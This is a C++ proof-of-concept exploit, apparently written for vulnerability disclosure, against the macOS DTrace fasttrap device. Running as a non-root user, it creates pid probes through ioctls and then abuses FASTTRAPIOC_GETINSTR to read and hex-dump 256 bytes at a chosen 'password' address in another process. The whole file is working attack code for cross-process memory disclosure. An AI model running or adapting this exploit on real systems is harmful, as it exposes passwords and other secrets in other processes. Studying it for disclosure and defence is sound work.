#include <iostream>

#include <cstdio>

extern "C" {
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/fasttrap.h>
#include <unistd.h>
}

#include "shared.h"


uint64_t stack = 0;
const uint64_t MAX_PROBES = ((1024 * 1024) - sizeof(fasttrap_probe_spec_t)) / sizeof(uint64_t);
const uint64_t n_probes = 256;

void createProbes(int fasttrap, int pid) {
    int error;
    char probe_spec_buf[sizeof(fasttrap_probe_spec_t) + n_probes * sizeof(uint64_t)];
    for (int i = 0; i < n_probes; ++i) {
        fasttrap_probe_spec_t *ftp = reinterpret_cast<fasttrap_probe_spec_t *>(probe_spec_buf);
        ftp->ftps_pid = pid;
        ftp->ftps_provider_type = DTFTP_PROVIDER_PID;
        ftp->ftps_probe_type = DTFTP_OFFSETS;
        ftp->ftps_pc = stack;
        ftp->ftps_size = 0x123;         // this doesn't matter
        ftp->ftps_noffs = n_probes;
        for (int j = 0; j < ftp->ftps_noffs; ++j) {
            ftp->ftps_offs[j] = j;
        }
        strcpy(ftp->ftps_func, "exploit");
        strcpy(ftp->ftps_mod, "libsystem_c.dylib");

        error = ioctl(fasttrap, FASTTRAPIOC_MAKEPROBE, ftp);
        if (error != 0) {
            LOG_ERR("Fasttrap probe create ioctl failed " << STRERRNO());
        }
    }
}

uint8_t memoryDump[MAX_PROBES];
void dumpMemory(int fasttrap, int pid) {
    for (int i = 0; i < n_probes; ++i) {
        fasttrap_instr_query_t q;
        q.ftiq_pc = stack + i;
        q.ftiq_pid = pid;
        int error = ioctl(fasttrap, FASTTRAPIOC_GETINSTR, &q);
        if (error != 0) {
            LOG_ERR("Fasttrap get instr at 0x" << std::hex << stack + i << std::dec << " ioctl failed " << STRERRNO());
            // if getting memory failed, just set the byte to 0xff
            memoryDump[i] = 0xff;
        } else {
            memoryDump[i] = q.ftiq_instr;
        }
    }
}

int main() {
    if (getuid() == 0) {
        LOG("Please run this application as non-root user to demonstrate the issue.");
        return 1;
    }

    LOG("Before continuing, ensure that /dev/fasttrap exists by running the following command manually:");
    LOG("sudo dtrace -l");
    LOG("When /dev/fasttrap exists, continue this application.");
    int fasttrap = open("/dev/fasttrap", O_RDWR);
    if (fasttrap == -1) {
        LOG_ERR("Failed to open /dev/fasttrap with " << STRERRNO());
        return 2;
    }
    fcntl(fasttrap, F_SETFD, FD_CLOEXEC);

    LOG("Type the target PID: ");
    uint32_t pid;
    std::cin >> pid;
    std::cin.ignore(std::numeric_limits<std::streamsize>::max(), '\n');

    LOG("Type the 'password' memory address: ");
    uint64_t addr;
    std::cin >> std::hex >> addr >> std::dec;
    std::cin.ignore(std::numeric_limits<std::streamsize>::max(), '\n');
    stack = addr;

    LOG("Symbol is at 0x" << std::hex << addr << std::dec);
    LOG("PID is " << pid);

    LOG("OK?");
    waitForEnter();

    LOG("Cool. Let's go.");

    LOG("Creating probes..");
    createProbes(fasttrap, pid);

    LOG("Please start the DTrace script with the following command:");
    LOG("sudo dtrace -s libc_monitor.d -p " << pid);
    LOG("After the script printed '[..] matched XX probes', continue this application.");
    waitForEnter();

    LOG("Collecting 'password' memory from target process..");
    dumpMemory(fasttrap, pid);
    DumpHex(memoryDump, n_probes);

    LOG("Please resume the target now.");

    return 0;
}
